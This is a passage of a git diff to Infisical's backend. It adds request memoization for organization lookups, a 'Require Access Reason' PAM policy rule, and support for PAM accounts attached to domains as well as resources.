       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -906,7 +905,7 @@ export const licenseServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(OrgPermissionBillingActions.Read, OrgPermissionSubjects.Billing);
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -920,7 +919,7 @@ export const licenseServiceFactory = ({
   };
 
   const invalidateGetPlan = async (orgId: string) => {
-    await keyStore.deleteItem(FEATURE_CACHE_KEY(orgId));
+    await keyStore.deleteItem(KeyStorePrefixes.LicenseCloudPlan(orgId));
   };
 
   const getCustomerId = () => {
diff --git a/backend/src/ee/services/license/license-types.ts b/backend/src/ee/services/license/license-types.ts
index bd556a50658..6dd0214a988 100644
--- a/backend/src/ee/services/license/license-types.ts
+++ b/backend/src/ee/services/license/license-types.ts
@@ -84,6 +84,7 @@ export type TFeatureSet = {
   projectTemplates: false;
   kmip: false;
   gateway: false;
+  gatewayPool: false;
   sshHostGroups: false;
   secretScanning: false;
   enterpriseSecretSyncs: false;
diff --git a/backend/src/ee/services/oidc/oidc-config-service.ts b/backend/src/ee/services/oidc/oidc-config-service.ts
index 65cc514796a..8043d351495 100644
--- a/backend/src/ee/services/oidc/oidc-config-service.ts
+++ b/backend/src/ee/services/oidc/oidc-config-service.ts
@@ -15,7 +15,9 @@ import { OrgPermissionSsoActions, OrgPermissionSubjects } from "@app/ee/services
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { getConfig } from "@app/lib/config/env";
 import { BadRequestError, ForbiddenRequestError, NotFoundError, OidcAuthError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 import { OrgServiceActor } from "@app/lib/types";
 import {
@@ -197,7 +199,6 @@ export const oidcConfigServiceFactory = ({
       });
     }
 
-    // Verify that the email domain (if verified on the platform) belongs to this org
     await verifyEmailDomainOwnership({ email, orgId, emailDomainDAL });
     const sanitizedEmail = sanitizeEmail(email);
     validateEmail(sanitizedEmail);
@@ -208,7 +209,7 @@ export const oidcConfigServiceFactory = ({
       aliasType: UserAliasType.OIDC
     });
 
-    const organization = await orgDAL.findOrgById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
     if (!organization) throw new NotFoundError({ message: `Organization with ID '${orgId}' not found` });
 
     let user: TUsers;
@@ -420,7 +421,7 @@ export const oidcConfigServiceFactory = ({
       await smtpService
         .sendMail({
           template: SmtpTemplates.EmailVerification,
-          subjectLine: "Infisical confirmation code",
+          subjectLine: `Infisical confirmation code: ${token}`,
           recipients: [user.email],
           substitutions: {
             code: token
diff --git a/backend/src/ee/services/pam-account-policy/pam-account-policy-constants.ts b/backend/src/ee/services/pam-account-policy/pam-account-policy-constants.ts
index 1206b2c7c2b..c6f9069a834 100644
--- a/backend/src/ee/services/pam-account-policy/pam-account-policy-constants.ts
+++ b/backend/src/ee/services/pam-account-policy/pam-account-policy-constants.ts
@@ -4,7 +4,8 @@ import { PamAccountPolicyRuleType } from "./pam-account-policy-enums";
 
 export const PAM_ACCOUNT_POLICY_RULE_SUPPORTED_RESOURCES: Record<PamAccountPolicyRuleType, PamResource[] | "all"> = {
   [PamAccountPolicyRuleType.CommandBlocking]: [PamResource.SSH],
-  [PamAccountPolicyRuleType.SessionLogMasking]: "all"
+  [PamAccountPolicyRuleType.SessionLogMasking]: "all",
+  [PamAccountPolicyRuleType.RequireReason]: "all"
 };
 
 export const PAM_ACCOUNT_POLICY_RULE_METADATA: Record<PamAccountPolicyRuleType, { name: string; description: string }> =
@@ -16,5 +17,9 @@ export const PAM_ACCOUNT_POLICY_RULE_METADATA: Record<PamAccountPolicyRuleType,
     [PamAccountPolicyRuleType.SessionLogMasking]: {
       name: "Session Log Masking",
       description: "Mask sensitive data in session logs matching specified patterns"
+    },
+    [PamAccountPolicyRuleType.RequireReason]: {
+      name: "Require Access Reason",
+      description: "Require users to provide a reason before they can start a session"
     }
   };
diff --git a/backend/src/ee/services/pam-account-policy/pam-account-policy-enums.ts b/backend/src/ee/services/pam-account-policy/pam-account-policy-enums.ts
index 04612150893..e62f5a97be8 100644
--- a/backend/src/ee/services/pam-account-policy/pam-account-policy-enums.ts
+++ b/backend/src/ee/services/pam-account-policy/pam-account-policy-enums.ts
@@ -1,4 +1,5 @@
 export enum PamAccountPolicyRuleType {
   CommandBlocking = "command-blocking",
-  SessionLogMasking = "session-log-masking"
+  SessionLogMasking = "session-log-masking",
+  RequireReason = "require-reason"
 }
diff --git a/backend/src/ee/services/pam-account-policy/pam-account-policy-schemas.ts b/backend/src/ee/services/pam-account-policy/pam-account-policy-schemas.ts
index 1901f82e67d..2814a37cea7 100644
--- a/backend/src/ee/services/pam-account-policy/pam-account-policy-schemas.ts
+++ b/backend/src/ee/services/pam-account-policy/pam-account-policy-schemas.ts
@@ -26,9 +26,12 @@ const RuleConfigSchema = z.object({
   patterns: z.array(re2PatternSchema).min(1).max(20, "A rule can have at most 20 patterns")
 });
 
+const RequireReasonConfigSchema = z.object({});
+
 export const PolicyRulesBaseSchema = z.object({
   [PamAccountPolicyRuleType.CommandBlocking]: RuleConfigSchema.optional(),
-  [PamAccountPolicyRuleType.SessionLogMasking]: RuleConfigSchema.optional()
+  [PamAccountPolicyRuleType.SessionLogMasking]: RuleConfigSchema.optional(),
+  [PamAccountPolicyRuleType.RequireReason]: RequireReasonConfigSchema.optional()
 });
 
 export const PolicyRulesInputSchema = PolicyRulesBaseSchema.refine(
diff --git a/backend/src/ee/services/pam-account/pam-account-dal.ts b/backend/src/ee/services/pam-account/pam-account-dal.ts
index 71c11d7cec1..4a43ca47852 100644
--- a/backend/src/ee/services/pam-account/pam-account-dal.ts
+++ b/backend/src/ee/services/pam-account/pam-account-dal.ts
@@ -15,7 +15,7 @@ export type TPamAccountDALFactory = ReturnType<typeof pamAccountDALFactory>;
 export const pamAccountDALFactory = (db: TDbClient) => {
   const orm = ormify(db, TableName.PamAccount);
 
-  const findByProjectIdWithResourceDetails = async (
+  const findByProjectIdWithParentDetails = async (
     {
       projectId,
       folderId,
@@ -26,6 +26,7 @@ export const pamAccountDALFactory = (db: TDbClient) => {
       orderBy = PamAccountOrderBy.Name,
       orderDirection = OrderByDirection.ASC,
       filterResourceIds,
+      filterDomainIds,
       metadataFilter
     }: {
       projectId: string;
@@ -37,6 +38,7 @@ export const pamAccountDALFactory = (db: TDbClient) => {
       orderBy?: PamAccountOrderBy;
       orderDirection?: OrderByDirection;
       filterResourceIds?: string[];
+      filterDomainIds?: string[];
       metadataFilter?: Array<{ key: string; value?: string }>;
     },
     tx?: Knex
@@ -45,6 +47,7 @@ export const pamAccountDALFactory = (db: TDbClient) => {
       const dbInstance = tx || db.replicaNode();
       const query = dbInstance(TableName.PamAccount)
         .leftJoin(TableName.PamResource, `${TableName.PamAccount}.resourceId`, `${TableName.PamResource}.id`)
+        .leftJoin(TableName.PamDomain, `${TableName.PamAccount}.domainId`, `${TableName.PamDomain}.id`)
         .leftJoin(TableName.PamAccountPolicy, `${TableName.PamAccount}.policyId`, `${TableName.PamAccountPolicy}.id`)
         .where(`${TableName.PamAccount}.projectId`, projectId);
 
@@ -67,12 +70,24 @@ export const pamAccountDALFactory = (db: TDbClient) => {
           void q
             .whereRaw(`??.?? ILIKE ? ESCAPE '\\'`, [TableName.PamAccount, "name", pattern])
             .orWhereRaw(`??.?? ILIKE ? ESCAPE '\\'`, [TableName.PamResource, "name", pattern])
+            .orWhereRaw(`??.?? ILIKE ? ESCAPE '\\'`, [TableName.PamDomain, "name", pattern])
             .orWhereRaw(`??.?? ILIKE ? ESCAPE '\\'`, [TableName.PamAccount, "description", pattern]);
         });
       }
 
-      if (filterResourceIds && filterResourceIds.length) {
+      const hasResourceFilter = filterResourceIds && filterResourceIds.length > 0;
+      const hasDomainFilter = filterDomainIds && filterDomainIds.length > 0;
+
+      if (hasResourceFilter && hasDomainFilter) {
+        void query.where((qb) => {
+          void qb
+            .whereIn(`${TableName.PamAccount}.resourceId`, filterResourceIds)
+            .orWhereIn(`${TableName.PamAccount}.domainId`, filterDomainIds);
+        });
+      } else if (hasResourceFilter) {
         void query.whereIn(`${TableName.PamAccount}.resourceId`, filterResourceIds);
+      } else if (hasDomainFilter) {
+        void query.whereIn(`${TableName.PamAccount}.domainId`, filterDomainIds);
       }
 
       if (metadataFilter && metadataFilter.length > 0) {
@@ -82,10 +97,16 @@ export const pamAccountDALFactory = (db: TDbClient) => {
       const countQuery = query.clone().count("*", { as: "count" }).first();
 
       void query.select(selectAllTableCols(TableName.PamAccount)).select(
-        // resource
+        // resource (may be null for domain accounts)
         db.ref("name").withSchema(TableName.PamResource).as("resourceName"),
         db.ref("resourceType").withSchema(TableName.PamResource),
-        db.ref("encryptedRotationAccountCredentials").withSchema(TableName.PamResource),
+        db
+          .ref("encryptedRotationAccountCredentials")
+          .withSchema(TableName.PamResource)
+          .as("resourceEncryptedRotationAccountCredentials"),
+        // domain (may be null for resource accounts)
+        db.ref("name").withSchema(TableName.PamDomain).as("domainName"),
+        db.ref("domainType").withSchema(TableName.PamDomain),
         // policy
         db.ref("name").withSchema(TableName.PamAccountPolicy).as("policyName")
       );
@@ -101,66 +122,110 @@ export const pamAccountDALFactory = (db: TDbClient) => {
       const [results, countResult] = await Promise.all([query, countQuery]);
       const totalCount = Number(countResult?.count || 0);
 
-      const accounts = results.map(
-        // @ts-expect-error resourceName, resourceType, encryptedRotationAccountCredentials, policyName are from joined tables
-        ({ resourceId, resourceName, resourceType, encryptedRotationAccountCredentials, policyName, ...account }) => ({
-          ...account,
-          resourceId,
-          policyName: (policyName as string) || null,
-          resource: {
-            id: resourceId,
-            name: resourceName as string,
-            resourceType,
-            encryptedRotationAccountCredentials
-          }
-        })
-      );
+      const accounts = results.map((row) => {
+        const r = row as Record<string, unknown>;
+        const rId = row.resourceId as string | null;
+        const dId = row.domainId as string | null;
+
+        return {
+          ...row,
+          resourceId: rId,
+          domainId: dId,
+          policyName: (r.policyName as string) || null,
+          resource: rId
+            ? {
+                id: rId,
+                name: r.resourceName as string,
+                resourceType: r.resourceType as string,
+                encryptedRotationAccountCredentials: r.resourceEncryptedRotationAccountCredentials as Buffer | null
+              }
+            : null,
+          domain: dId
+            ? {
+                id: dId,
+                name: r.domainName as string,
+                domainType: r.domainType as string
+              }
+            : null
+        };
+      });
+
       return { accounts, totalCount };
     } catch (error) {
-      throw new DatabaseError({ error, name: "Find PAM accounts with resource details" });
+      throw new DatabaseError({ error, name: "Find PAM accounts with parent details" });
     }
   };
 
-  const findByIdWithResourceDetails = async (accountId: string, tx?: Knex) => {
+  const findByIdWithParentDetails = async (accountId: string, tx?: Knex) => {
     try {
       const dbInstance = tx || db.replicaNode();
       const result = await dbInstance(TableName.PamAccount)
         .leftJoin(TableName.PamResource, `${TableName.PamAccount}.resourceId`, `${TableName.PamResource}.id`)
+        .leftJoin(TableName.PamDomain, `${TableName.PamAccount}.domainId`, `${TableName.PamDomain}.id`)
         .leftJoin(TableName.PamAccountPolicy, `${TableName.PamAccount}.policyId`, `${TableName.PamAccountPolicy}.id`)
         .where(`${TableName.PamAccount}.id`, accountId)
         .select(selectAllTableCols(TableName.PamAccount))
         .select(
+          // resource (may be null for domain accounts)
           db.ref("name").withSchema(TableName.PamResource).as("resourceName"),
           db.ref("resourceType").withSchema(TableName.PamResource),
-          db.ref("encryptedRotationAccountCredentials").withSchema(TableName.PamResource),
+          db
+            .ref("encryptedRotationAccountCredentials")
+            .withSchema(TableName.PamResource)
+            .as("resourceEncryptedRotationAccountCredentials"),
+          // domain (may be null for resource accounts)
+          db.ref("name").withSchema(TableName.PamDomain).as("domainName"),
+          db.ref("domainType").withSchema(TableName.PamDomain),
           db.ref("name").withSchema(TableName.PamAccountPolicy).as("policyName")
         )
         .first();
 
       if (!result) return null;
 
-      const { resourceId, resourceName, resourceType, encryptedRotationAccountCredentials, policyName, ...account } =
-        result as {
-          resourceId: string;
-          resourceName: string;
-          resourceType: string;
-          encryptedRotationAccountCredentials: Buffer | null;
-          policyName: string | null;
-        } & typeof result;
+      const {
+        resourceId,
+        domainId,
+        resourceName,
+        resourceType,
+        resourceEncryptedRotationAccountCredentials,
+        domainName,
+        domainType,
+        policyName,
+        ...account
+      } = result as {
+        resourceId: string | null;
+        domainId: string | null;
+        resourceName: string | null;
+        resourceType: string | null;
+        resourceEncryptedRotationAccountCredentials: Buffer | null;
+        domainName: string | null;
+        domainType: string | null;
+        policyName: string | null;
+      } & typeof result;
 
       return {
         ...account,
         resourceId,
+        domainId,
         policyName: policyName || null,
-        resource: {
-          id: resourceId,
-          name: resourceName,
-          resourceType,
-          encryptedRotationAccountCredentials
-        }
+        resource: resourceId
+          ? {
+              id: resourceId,
+              name: resourceName,
+              resourceType,
+              encryptedRotationAccountCredentials: resourceEncryptedRotationAccountCredentials
+            }
+          : null,
+        domain: domainId
+          ? {
+              id: domainId,
+              name: domainName,
+              domainType
+            }
+          : null
       };
     } catch (error) {
-      throw new DatabaseError({ error, name: "Find PAM account by ID with resource details" });
+      throw new DatabaseError({ error, name: "Find PAM account by ID with parent details" });
     }
   };
 
@@ -179,14 +244,34 @@ export const pamAccountDALFactory = (db: TDbClient) => {
     return byAccountId;
   };
 
-  const findRotationCandidates = async (resourceIds: string[], minIntervalSeconds: number, tx?: Knex) => {
-    if (!resourceIds.length) return [];
+  const findRotationCandidates = async (
+    {
+      resourceIds,
+      domainIds,
+      minIntervalSeconds
+    }: {
+      resourceIds?: string[];
+      domainIds?: string[];
+      minIntervalSeconds: number;
+    },
+    tx?: Knex
+  ) => {
+    const hasResourceIds = resourceIds && resourceIds.length > 0;
+    const hasDomainIds = domainIds && domainIds.length > 0;
+    if (!hasResourceIds && !hasDomainIds) return [];
 
     try {
       const cutoff = new Date(Date.now() - minIntervalSeconds * 1000);
 
       return await (tx || db.replicaNode())(TableName.PamAccount)
-        .whereIn("resourceId", resourceIds)
+        .where((qb) => {
+          if (hasResourceIds) {
+            void qb.whereIn("resourceId", resourceIds);
+          }
+          if (hasDomainIds) {
+            void qb.orWhereIn("domainId", domainIds);
+          }
+        })
         .where((qb) => {
           void qb.whereNot("rotationStatus", "rotating").orWhereNull("rotationStatus");
         })
@@ -203,8 +288,8 @@ export const pamAccountDALFactory = (db: TDbClient) => {
 
   return {
     ...orm,
-    findByProjectIdWithResourceDetails,
-    findByIdWithResourceDetails,
+    findByProjectIdWithParentDetails,
+    findByIdWithParentDetails,
     findMetadataByAccountIds,
     findRotationCandidates
   };
diff --git a/backend/src/ee/services/pam-account/pam-account-enums.ts b/backend/src/ee/services/pam-account/pam-account-enums.ts
index 0c39e81bb67..dbaddeab206 100644
--- a/backend/src/ee/services/pam-account/pam-account-enums.ts
+++ b/backend/src/ee/services/pam-account/pam-account-enums.ts
@@ -1,3 +1,8 @@
+import { PamDomainType } from "../pam-domain/pam-domain-enums";
+import { PamResource } from "../pam-resource/pam-resource-enums";
+
+export type PamParentType = PamResource | PamDomainType;
+
 export enum PamAccountOrderBy {
   Name = "name"
 }
diff --git a/backend/src/ee/services/pam-account/pam-account-fns.ts b/backend/src/ee/services/pam-account/pam-account-fns.ts
index 679710e0ba7..493b5014367 100644
--- a/backend/src/ee/services/pam-account/pam-account-fns.ts
+++ b/backend/src/ee/services/pam-account/pam-account-fns.ts
@@ -1,10 +1,49 @@
 import { TKmsServiceFactory } from "@app/services/kms/kms-service";
 import { KmsDataKey } from "@app/services/kms/kms-types";
 
+import { KubernetesAuthMethod } from "../pam-resource/kubernetes/kubernetes-resource-enums";
 import { PamResource } from "../pam-resource/pam-resource-enums";
 import { TPamAccountCredentials, TPamResourceInternalMetadata } from "../pam-resource/pam-resource-types";
 import { SSHAuthMethod } from "../pam-resource/ssh/ssh-resource-enums";
 
+type TAccountParentResource = {
+  id: string;
+  name: string;
+  resourceType: string;
+  encryptedRotationAccountCredentials?: Buffer | null;
+};
+
+type TAccountParentDomain = {
+  id: string;
+  name: string;
+  domainType: string;
+};
+
+export const formatAccountParent = ({
+  resource,
+  domain
+}: {
+  resource?: TAccountParentResource | null;
+  domain?: TAccountParentDomain | null;
+}) => ({
+  parentType: resource?.resourceType ?? domain?.domainType ?? "",
+  resource: resource
+    ? {
+        id: resource.id,
+        name: resource.name,
+        resourceType: resource.resourceType,
+        rotationCredentialsConfigured: Boolean(resource.encryptedRotationAccountCredentials)
+      }
+    : null,
+  domain: domain
+    ? {
+        id: domain.id,
+        name: domain.name,
+        domainType: domain.domainType
+      }
+    : null
+});
+
 export const encryptAccountCredentials = async ({
   projectId,
   credentials,
@@ -69,11 +108,16 @@ export const decryptAccountMessage = async ({
 };
 
 // Returns false for account types where all credential fields are already visible in the sanitized view
-export const hasSensitiveCredentials = (resourceType: string, credentials: TPamAccountCredentials): boolean => {
-  if (resourceType === PamResource.AwsIam) return false;
-  if (resourceType === PamResource.Kubernetes) return false;
+export const hasSensitiveCredentials = (parentType: string, credentials: TPamAccountCredentials): boolean => {
+  if (parentType === PamResource.AwsIam) return false;
+  if (
+    parentType === PamResource.Kubernetes &&
+    "authMethod" in credentials &&
+    credentials.authMethod === KubernetesAuthMethod.GatewayKubernetesAuth
+  )
+    return false;
   if (
-    resourceType === PamResource.SSH &&
+    parentType === PamResource.SSH &&
     "authMethod" in credentials &&
     credentials.authMethod === SSHAuthMethod.Certificate
   )
@@ -87,6 +131,7 @@ const hasConfiguredCredentials = (credentials: TPamAccountCredentials): boolean
   if ("serviceAccountToken" in credentials && credentials.serviceAccountToken) return true;
   if ("targetRoleArn" in credentials && credentials.targetRoleArn) return true;
   if ("authMethod" in credentials && credentials.authMethod === SSHAuthMethod.Certificate) return true;
+  if ("authMethod" in credentials && credentials.authMethod === KubernetesAuthMethod.GatewayKubernetesAuth) return true;
   return false;
 };
 
diff --git a/backend/src/ee/services/pam-account/pam-account-service.ts b/backend/src/ee/services/pam-account/pam-account-service.ts
index 59df0f1d083..32784ab54cb 100644
--- a/backend/src/ee/services/pam-account/pam-account-service.ts
+++ b/backend/src/ee/services/pam-account/pam-account-service.ts
@@ -2,9 +2,11 @@ import { ForbiddenError, subject } from "@casl/ability";
 import picomatch from "picomatch";
 
 import { ActionProjectType, OrganizationActionScope, TableName, TPamAccounts, TPamResources } from "@app/db/schemas";
+import { decryptDomainConnectionDetails } from "@app/ee/services/pam-domain/pam-domain-fns";
 import {
+  exchangeCredentialsForConsoleUrl,
   extractAwsAccountIdFromArn,
-  generateConsoleFederationUrl,
+  generateAwsIamSessionCredentials,
   TAwsIamAccountCredentials
 } from "@app/ee/services/pam-resource/aws-iam";
 import { parseMongoConnectionString } from "@app/ee/services/pam-resource/mongodb/mongodb-resource-factory";
@@ -23,6 +25,7 @@ import {
 import { createSshCert, createSshKeyPair } from "@app/ee/services/ssh/ssh-certificate-authority-fns";
 import { SshCertType } from "@app/ee/services/ssh/ssh-certificate-authority-types";
 import { SshCertKeyAlgorithm } from "@app/ee/services/ssh-certificate/ssh-certificate-types";
+import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
 import { DatabaseErrorCode } from "@app/lib/error-codes";
 import {
   BadRequestError,
@@ -32,6 +35,8 @@ import {
   PolicyViolationError
 } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { OrgServiceActor } from "@app/lib/types";
 import { TApprovalPolicyDALFactory } from "@app/services/approval-policy/approval-policy-dal";
 import { ApprovalPolicyType } from "@app/services/approval-policy/approval-policy-enums";
@@ -57,6 +62,9 @@ import { TPamAccountPolicyDALFactory } from "../pam-account-policy/pam-account-p
 import { PamAccountPolicyRuleType } from "../pam-account-policy/pam-account-policy-enums";
 import { TPolicyRules } from "../pam-account-policy/pam-account-policy-types";
 import { TPamAccountDependenciesDALFactory } from "../pam-discovery/pam-account-dependencies-dal";
+import { TPamDomainDALFactory } from "../pam-domain/pam-domain-dal";
+import { PamDomainType } from "../pam-domain/pam-domain-enums";
+import { PAM_DOMAIN_FACTORY_MAP } from "../pam-domain/pam-domain-factory";
 import { TPamResourceDALFactory } from "../pam-resource/pam-resource-dal";
 import { PamResource } from "../pam-resource/pam-resource-enums";
 import { TPamResourceRotationRulesDALFactory } from "../pam-resource/pam-resource-rotation-rules-dal";
@@ -73,6 +81,7 @@ import {
   decryptAccount,
   decryptAccountCredentials,
   encryptAccountCredentials,
+  formatAccountParent,
   hasSensitiveCredentials
 } from "./pam-account-fns";
 import {
@@ -86,6 +95,7 @@ import {
 
 type TPamAccountServiceFactoryDep = {
   pamResourceDAL: TPamResourceDALFactory;
+  pamDomainDAL: TPamDomainDALFactory;
   pamSessionDAL: TPamSessionDALFactory;
   pamAccountDAL: TPamAccountDALFactory;
   pamAccountPolicyDAL: Pick<TPamAccountPolicyDALFactory, "findById">;
@@ -111,6 +121,7 @@ type TPamAccountServiceFactoryDep = {
     TPamAccountDependenciesDALFactory,
     "findByAccountId" | "updateById" | "countByAccountIds"
   >;
+  keyStore: Pick<TKeyStoreFactory, "setItemWithExpiry" | "getItem">;
 };
 
 export type TPamAccountServiceFactory = ReturnType<typeof pamAccountServiceFactory>;
@@ -119,6 +130,7 @@ const ROTATION_CONCURRENCY_LIMIT = 10;
 
 export const pamAccountServiceFactory = ({
   pamResourceDAL,
+  pamDomainDAL,
   pamSessionDAL,
   pamAccountDAL,
   pamAccountPolicyDAL,
@@ -135,12 +147,65 @@ export const pamAccountServiceFactory = ({
   approvalRequestGrantsDAL,
   pamSessionExpirationService,
   resourceMetadataDAL,
-  pamAccountDependenciesDAL
+  pamAccountDependenciesDAL,
+  keyStore
 }: TPamAccountServiceFactoryDep) => {
+  // Helper to resolve account parent (resource or domain)
+  const resolveAccountParent = async ({
+    resourceId,
+    domainId
+  }: {
+    resourceId?: string | null;
+    domainId?: string | null;
+  }) => {
+    if (resourceId) {
+      const resource = await pamResourceDAL.findById(resourceId);
+      if (!resource) throw new NotFoundError({ message: `Resource with ID '${resourceId}' not found` });
+      return {
+        projectId: resource.projectId,
+        name: resource.name,
+        resourceType: resource.resourceType,
+        domainType: null as string | null,
+        gatewayId: resource.gatewayId,
+        encryptedConnectionDetails: resource.encryptedConnectionDetails,
+        encryptedResourceMetadata: resource.encryptedResourceMetadata,
+        encryptedRotationAccountCredentials: resource.encryptedRotationAccountCredentials,
+        isResource: true as const,
+        raw: resource
+      };
+    }
+    if (!domainId) throw new BadRequestError({ message: "Either resourceId or domainId must be provided" });
+    const domain = await pamDomainDAL.findById(domainId);
+    if (!domain) throw new NotFoundError({ message: `Domain with ID '${domainId}' not found` });
+    return {
+      projectId: domain.projectId,
+      name: domain.name,
+      resourceType: null as string | null,
+      domainType: domain.domainType,
+      gatewayId: domain.gatewayId,
+      encryptedConnectionDetails: domain.encryptedConnectionDetails,
+      encryptedResourceMetadata: null as Buffer | null,
+      encryptedRotationAccountCredentials: null as Buffer | null,
+      isResource: false as const,
+      raw: domain
+    };
+  };
+
+  // Resolve whether the given policy enforces RequireReason at access time.
+  // Surfaced on account responses so the UI can gate access without needing
+  // pam-account-policy:read permission.
+  const resolveRequireReason = async (policyId?: string | null) => {
+    if (!policyId) return false;
+    const policy = await pamAccountPolicyDAL.findById(policyId);
+    const policyRules = (policy?.rules ?? {}) as TPolicyRules;
+    return Boolean(policy?.isActive && policyRules[PamAccountPolicyRuleType.RequireReason]);
+  };
+
   const create = async (
     {
       credentials,
       resourceId,
+      domainId,
       name,
       description,
       folderId,
@@ -151,62 +216,74 @@ export const pamAccountServiceFactory = ({
     }: TCreateAccountDTO,
     actor: OrgServiceActor
   ) => {
-    const resource = await pamResourceDAL.findById(resourceId);
-    if (!resource) throw new NotFoundError({ message: `Resource with ID '${resourceId}' not found` });
+    const parent = await resolveAccountParent({ resourceId, domainId });
 
     const { permission } = await permissionService.getProjectPermission({
       actor: actor.type,
       actorAuthMethod: actor.authMethod,
       actorId: actor.id,
       actorOrgId: actor.orgId,
-      projectId: resource.projectId,
+      projectId: parent.projectId,
       actionProjectType: ActionProjectType.PAM
     });
 
     ForbiddenError.from(permission).throwUnlessCan(
       ProjectPermissionPamAccountActions.Create,
       subject(ProjectPermissionSub.PamAccounts, {
-        resourceName: resource.name,
         accountName: name,
-        resourceType: resource.resourceType,
+        ...(parent.isResource && { resourceName: parent.name, resourceType: parent.resourceType }),
+        ...(!parent.isResource && { domainName: parent.name, domainType: parent.domainType }),
         metadata: (metadata || []).map(({ key, value }) => ({ key, value: value ?? "" }))
       })
     );
 
-    const connectionDetails = await decryptResourceConnectionDetails({
-      projectId: resource.projectId,
-      encryptedConnectionDetails: resource.encryptedConnectionDetails,
-      kmsService
-    });
-
-    // Decrypt resource metadata if available
-    const resourceInternalMetadata = resource.encryptedResourceMetadata
-      ? await decryptResourceMetadata({
-          encryptedMetadata: resource.encryptedResourceMetadata,
-          projectId: resource.projectId,
-          kmsService
-        })
-      : undefined;
-
-    const factory = PAM_RESOURCE_FACTORY_MAP[resource.resourceType as PamResource](
-      resource.resourceType as PamResource,
-      connectionDetails,
-      resource.gatewayId,
-      gatewayV2Service,
-      resource.projectId,
-      resourceInternalMetadata
-    );
+    let factory;
+    if (parent.isResource) {
+      const connectionDetails = await decryptResourceConnectionDetails({
+        projectId: parent.projectId,
+        encryptedConnectionDetails: parent.encryptedConnectionDetails,
+        kmsService
+      });
+      const resourceInternalMetadata = parent.encryptedResourceMetadata
+        ? await decryptResourceMetadata({
+            encryptedMetadata: parent.encryptedResourceMetadata,
+            projectId: parent.projectId,
+            kmsService
+          })
+        : undefined;
+      factory = PAM_RESOURCE_FACTORY_MAP[parent.resourceType as PamResource](
+        parent.resourceType as PamResource,
+        connectionDetails,
+        parent.gatewayId,
+        gatewayV2Service,
+        parent.projectId,
+        resourceInternalMetadata
+      );
+    } else {
+      const connectionDetails = await decryptDomainConnectionDetails({
+        projectId: parent.projectId,
+        encryptedConnectionDetails: parent.encryptedConnectionDetails,
+        kmsService
+      });
+      factory = PAM_DOMAIN_FACTORY_MAP[parent.domainType as PamDomainType](
+        parent.domainType as PamDomainType,
+        connectionDetails,
+        parent.gatewayId,
+        gatewayV2Service,
+        parent.projectId
+      );
+    }
     const validatedCredentials = await factory.validateAccountCredentials(credentials);
 
     const encryptedCredentials = await encryptAccountCredentials({
       credentials: validatedCredentials,
-      projectId: resource.projectId,
+      projectId: parent.projectId,
       kmsService
     });
 
     if (policyId) {
       const policy = await pamAccountPolicyDAL.findById(policyId);
-      if (!policy || policy.projectId !== resource.projectId) {
+      if (!policy || policy.projectId !== parent.projectId) {
         throw new NotFoundError({ message: "Policy not found" });
       }
     }
@@ -215,8 +292,9 @@ export const pamAccountServiceFactory = ({
       const { account, insertedMetadata } = await pamAccountDAL.transaction(async (tx) => {
         const newAccount = await pamAccountDAL.create(
           {
-            projectId: resource.projectId,
-            resourceId: resource.id,
+            projectId: parent.projectId,
+            resourceId: resourceId || null,
+            domainId: domainId || null,
             encryptedCredentials,
             name,
             description,
@@ -245,20 +323,18 @@ export const pamAccountServiceFactory = ({
       });
 
       return {
-        ...(await decryptAccount(account, resource.projectId, kmsService)),
+        ...(await decryptAccount(account, parent.projectId, kmsService)),
+        ...formatAccountParent({
+          resource: parent.isResource ? parent.raw : null,
+          domain: parent.isResource ? null : parent.raw
+        }),
         metadata: insertedMetadata?.map(({ id, key, value }) => ({ id, key, value: value ?? "" })) ?? [],
-        resourceType: resource.resourceType,
-        resource: {
-          id: resource.id,
-          name: resource.name,
-          resourceType: resource.resourceType,
-          rotationCredentialsConfigured: !!resource.encryptedRotationAccountCredentials
-        }
+        requireReason: await resolveRequireReason(account.policyId)
       };
     } catch (err) {
       if (err instanceof DatabaseError && (err.error as { code: string })?.code === DatabaseErrorCode.UniqueViolation) {
         throw new BadRequestError({
-          message: `Account with name '${name}' already exists for this resource`
+          message: `Account with name '${name}' already exists`
         });
       }
 
@@ -273,8 +349,8 @@ export const pamAccountServiceFactory = ({
     const account = await pamAccountDAL.findById(accountId);
     if (!account) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
 
-    const resource = await pamResourceDAL.findById(account.resourceId);
-    if (!resource) throw new NotFoundError({ message: `Resource with ID '${account.resourceId}' not found` });
+    const parent = await resolveAccountParent(account);
+    const resource = parent.isResource ? (parent.raw as TPamResources) : null;
 
     const { permission } = await permissionService.getProjectPermission({
       actor: actor.type,
@@ -292,9 +368,9 @@ export const pamAccountServiceFactory = ({
     ForbiddenError.from(permission).throwUnlessCan(
       ProjectPermissionPamAccountActions.Edit,
       subject(ProjectPermissionSub.PamAccounts, {
-        resourceName: resource.name,
         accountName: account.name,
-        resourceType: resource.resourceType,
+        ...(parent.isResource && { resourceName: parent.name, resourceType: parent.resourceType }),
+        ...(!parent.isResource && { domainName: parent.name, domainType: parent.domainType }),
         metadata: currentMetadata
       })
     );
@@ -304,9 +380,9 @@ export const pamAccountServiceFactory = ({
       ForbiddenError.from(permission).throwUnlessCan(
         ProjectPermissionPamAccountActions.Edit,
         subject(ProjectPermissionSub.PamAccounts, {
-          resourceName: resource.name,
           accountName: name ?? account.name,
-          resourceType: resource.resourceType,
+          ...(parent.isResource && { resourceName: parent.name, resourceType: parent.resourceType }),
